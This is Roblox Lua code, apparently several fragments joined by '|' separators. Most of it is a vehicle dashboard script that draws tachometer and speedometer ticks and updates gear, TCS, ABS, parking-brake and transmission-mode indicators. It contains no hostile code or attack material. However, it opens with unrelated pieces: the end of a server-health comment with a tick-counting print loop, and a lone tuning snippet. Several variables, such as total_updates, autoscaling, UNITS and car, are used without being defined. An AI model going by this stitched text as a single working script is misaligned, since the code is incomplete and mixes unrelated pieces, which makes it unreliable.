Returns the current health of the server ( 20 ticks == healthy frien :> )
--]] |
while wait(1) do
print(total_updates)
total_updates = 0
end
|
--Tune |
local WheelieButton = "LeftControl"
local DeadZone = 380
|
--Automatic Gauge Scaling |
if autoscaling then
local Drive={}
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("FL")~= nil then
table.insert(Drive,car.Wheels.FL)
end
if car.Wheels:FindFirstChild("FR")~= nil then
table.insert(Drive,car.Wheels.FR)
end
if car.Wheels:FindFirstChild("F")~= nil then
table.insert(Drive,car.Wheels.F)
end
end
if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("RL")~= nil then
table.insert(Drive,car.Wheels.RL)
end
if car.Wheels:FindFirstChild("RR")~= nil then
table.insert(Drive,car.Wheels.RR)
end
if car.Wheels:FindFirstChild("R")~= nil then
table.insert(Drive,car.Wheels.R)
end
end
local wDia = 0
for i,v in pairs(Drive) do
if v.Size.x>wDia then wDia = v.Size.x end
end
Drive = nil
for i,v in pairs(UNITS) do
v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)
v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20)
end
end
for i=0,revEnd*2 do
local ln = script.Parent.ln:clone()
ln.Parent = script.Parent.Tach
ln.Rotation = 45 + i * 225 / (revEnd*2)
ln.Num.Text = i/2
ln.Num.Rotation = -ln.Rotation
if i*500>=math.floor(_pRPM/500)*500 then
ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
if i<revEnd*2 then
ln2 = ln:clone()
ln2.Parent = script.Parent.Tach
ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
ln2.Num:Destroy()
ln2.Visible=true
end
end
if i%2==0 then
ln.Frame.Size = UDim2.new(0,3,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
ln.Num.Visible = true
else
ln.Num:Destroy()
end
ln.Visible=true
end
local lns = Instance.new("Frame",script.Parent.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
local ln = script.Parent.ln:clone()
ln.Parent = lns
ln.Rotation = 45 + 225*(i/90)
if i%2==0 then
ln.Frame.Size = UDim2.new(0,2,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
else
ln.Frame.Size = UDim2.new(0,3,0,5)
end
ln.Num:Destroy()
ln.Visible=true
end
for i,v in pairs(UNITS) do
local lnn = Instance.new("Frame",script.Parent.Speedo)
lnn.BackgroundTransparency = 1
lnn.BorderSizePixel = 0
lnn.Size = UDim2.new(0,0,0,0)
lnn.Name = v.units
if i~= 1 then lnn.Visible=false end
for i=0,v.maxSpeed,v.spInc do
local ln = script.Parent.ln:clone()
ln.Parent = lnn
ln.Rotation = 45 + 225*(i/v.maxSpeed)
ln.Num.Text = i
ln.Num.TextSize = 14
ln.Num.Rotation = -ln.Rotation
ln.Frame:Destroy()
ln.Num.Visible=true
ln.Visible=true
end
end
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
script.Parent.Parent.IsOn.Changed:connect(function()
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
script.Parent.Parent.Values.RPM.Changed:connect(function()
script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000))
intach.Rotation = -30 + script.Parent.Parent.Values.RPM.Value * 240 / 8000
end)
script.Parent.Parent.Values.Gear.Changed:connect(function()
local gearText = script.Parent.Parent.Values.Gear.Value
if gearText == 0 then
gearText = "N"
car.Body.Dash.DashSc.G.Modes.Info.Gear.Text = "N"
car.Body.Dash.DashSc.G.Modes.SpeedStats.Gear.Text = "N"
elseif gearText == -1 then
gearText = "R"
car.Body.Dash.DashSc.G.Modes.Info.Gear.Text = "R"
car.Body.Dash.DashSc.G.Modes.SpeedStats.Gear.Text = "R"
end
script.Parent.Gear.Text = gearText
car.Body.Dash.DashSc.G.Modes.Info.Gear.Text = gearText
car.Body.Dash.DashSc.G.Modes.SpeedStats.Gear.Text = gearText
end)
script.Parent.Parent.Values.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCS.Value then
script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.TCSActive.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = true
script.Parent.TCS.TextColor3 = Color3.new(1,0,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.Parent.Values.TCSActive.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
end
else
if script.Parent.TCS.Visible then
script.Parent.TCS.Visible = false
end
end
end)
script.Parent.Parent.Values.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABS.Value then
script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.ABSActive.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = true
script.Parent.ABS.TextColor3 = Color3.new(1,0,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.Parent.Values.ABSActive.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
end
else
if script.Parent.ABS.Visible then
script.Parent.ABS.Visible = false
end
end
end)
script.Parent.Parent.Values.PBrake.Changed:connect(function()
script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value
end)
script.Parent.Parent.Values.TransmissionMode.Changed:connect(function()
if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
script.Parent.TMode.Text = "A/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then
script.Parent.TMode.Text = "S/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
else
script.Parent.TMode.Text = "M/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
end
end)
script.Parent.Parent.Values.Velocity.Changed:connect(function(property)
script.Parent.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
inspd.Rotation = -30 + (240 / 160) * (math.abs(script.Parent.Parent.Values.Velocity.Value.Magnitude*((10/12) * (60/88))))
end)
script.Parent.Speed.MouseButton1Click:connect(function()
if currentUnits==#UNITS then
currentUnits = 1
else
currentUnits = currentUnits+1
end
for i,v in pairs(script.Parent.Speedo:GetChildren()) do
v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
end
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
mouse.KeyDown:connect(function(key)
if key=="v" then
script.Parent.Visible=not script.Parent.Visible
end
end)
|